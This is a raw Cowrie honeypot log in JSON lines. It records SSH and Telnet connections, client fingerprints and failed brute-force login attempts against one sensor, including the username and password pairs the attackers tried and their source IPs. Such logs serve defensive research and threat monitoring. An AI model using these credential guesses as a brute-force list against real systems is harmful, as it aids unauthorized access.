{"eventid":"cowrie.login.failed","username":"ansible","password":"zkyd32142","message":"login attempt [ansible/zkyd32142] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:03.978335Z","src_ip":"159.203.92.129","session":"0fb18d3ef5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:04.985267Z","src_ip":"159.203.92.129","session":"0fb18d3ef5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca60de77252","protocol":"ssh","message":"New connection: 157.7.113.83:50828 (159.203.135.109:22) [session: 9ca60de77252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:12.405114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:12.408916Z","src_ip":"157.7.113.83","session":"9ca60de77252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:12.574277Z","src_ip":"157.7.113.83","session":"9ca60de77252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nl123456","message":"login attempt [root/Nl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:13.244232Z","src_ip":"157.7.113.83","session":"9ca60de77252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:14.407563Z","src_ip":"157.7.113.83","session":"9ca60de77252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018560886383,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:15.661071Z","src_ip":"187.88.74.212","session":"332666ebb780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00094056129456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:17.276526Z","src_ip":"187.88.74.212","session":"3720935be8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185179710388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:17.417711Z","src_ip":"187.88.74.212","session":"437e47c6d2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":41176,"dst_ip":"159.203.135.109","dst_port":23,"session":"b693cd256f55","protocol":"telnet","message":"New connection: 187.88.74.212:41176 (159.203.135.109:23) [session: b693cd256f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:17.882038Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":41188,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a58120ece5","protocol":"telnet","message":"New connection: 187.88.74.212:41188 (159.203.135.109:23) [session: e3a58120ece5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:19.101123Z"}
{"eventid":"cowrie.session.closed","duration":120.00094366073608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:20.105371Z","src_ip":"187.88.74.212","session":"474e2795e9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":41260,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc8202495fc","protocol":"telnet","message":"New connection: 187.88.74.212:41260 (159.203.135.109:23) [session: ddc8202495fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:21.503341Z"}
{"eventid":"cowrie.session.closed","duration":120.00116443634033,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:22.419974Z","src_ip":"187.88.74.212","session":"370c80d9f18d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"29b2faf36dcf","protocol":"ssh","message":"New connection: 162.223.91.130:52588 (10.17.0.5:22) [session: 29b2faf36dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:22.698503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:22.703293Z","src_ip":"162.223.91.130","session":"29b2faf36dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:22.721786Z","src_ip":"162.223.91.130","session":"29b2faf36dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu-123","message":"login attempt [ubuntu/ubuntu-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:22.828021Z","src_ip":"162.223.91.130","session":"29b2faf36dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:23.848462Z","src_ip":"162.223.91.130","session":"29b2faf36dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":41344,"dst_ip":"159.203.135.109","dst_port":23,"session":"45405cf6dfe6","protocol":"telnet","message":"New connection: 187.88.74.212:41344 (159.203.135.109:23) [session: 45405cf6dfe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:23.979601Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":29654,"dst_ip":"159.203.135.109","dst_port":22,"session":"301e98cc1a5a","protocol":"ssh","message":"New connection: 118.193.33.81:29654 (159.203.135.109:22) [session: 301e98cc1a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:41.099207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:41.104546Z","src_ip":"118.193.33.81","session":"301e98cc1a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:41.318062Z","src_ip":"118.193.33.81","session":"301e98cc1a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QW23ER45T","message":"login attempt [root/1QW23ER45T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:42.228731Z","src_ip":"118.193.33.81","session":"301e98cc1a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:43.460448Z","src_ip":"118.193.33.81","session":"301e98cc1a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54846,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f83e697b7fc","protocol":"ssh","message":"New connection: 159.203.92.129:54846 (159.203.135.109:22) [session: 9f83e697b7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:49.333025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:49.337621Z","src_ip":"159.203.92.129","session":"9f83e697b7fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:49.343479Z","src_ip":"159.203.92.129","session":"9f83e697b7fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"zse321qsc","message":"login attempt [ansible/zse321qsc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:49.356974Z","src_ip":"159.203.92.129","session":"9f83e697b7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:50.363090Z","src_ip":"159.203.92.129","session":"9f83e697b7fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":59825,"dst_ip":"159.203.135.109","dst_port":22,"session":"8876de163f22","protocol":"ssh","message":"New connection: 81.30.162.19:59825 (159.203.135.109:22) [session: 8876de163f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:54.735230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:54.740407Z","src_ip":"81.30.162.19","session":"8876de163f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:54.861811Z","src_ip":"81.30.162.19","session":"8876de163f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cafe","message":"login attempt [root/cafe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:55.378924Z","src_ip":"81.30.162.19","session":"8876de163f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:56.503227Z","src_ip":"81.30.162.19","session":"8876de163f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":39248,"dst_ip":"10.17.0.5","dst_port":22,"session":"171e023e209f","protocol":"ssh","message":"New connection: 162.223.91.130:39248 (10.17.0.5:22) [session: 171e023e209f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:58.328020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:58.338080Z","src_ip":"162.223.91.130","session":"171e023e209f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:58.356089Z","src_ip":"162.223.91.130","session":"171e023e209f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dan","password":"admin123","message":"login attempt [dan/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:58.460485Z","src_ip":"162.223.91.130","session":"171e023e209f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:31:59.481518Z","src_ip":"162.223.91.130","session":"171e023e209f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":43050,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97f1d20ccd7","protocol":"ssh","message":"New connection: 157.7.113.83:43050 (159.203.135.109:22) [session: d97f1d20ccd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:07.895383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:07.900247Z","src_ip":"157.7.113.83","session":"d97f1d20ccd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:08.065681Z","src_ip":"157.7.113.83","session":"d97f1d20ccd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1!","message":"login attempt [root/qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:08.760392Z","src_ip":"157.7.113.83","session":"d97f1d20ccd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:09.930282Z","src_ip":"157.7.113.83","session":"d97f1d20ccd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.94","src_port":52619,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee3f39fe5fd","protocol":"telnet","message":"New connection: 205.210.31.94:52619 (10.17.0.5:23) [session: dee3f39fe5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:26.839587Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":64346,"dst_ip":"159.203.135.109","dst_port":22,"session":"2597a7db6106","protocol":"ssh","message":"New connection: 118.193.33.81:64346 (159.203.135.109:22) [session: 2597a7db6106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:33.898248Z"}
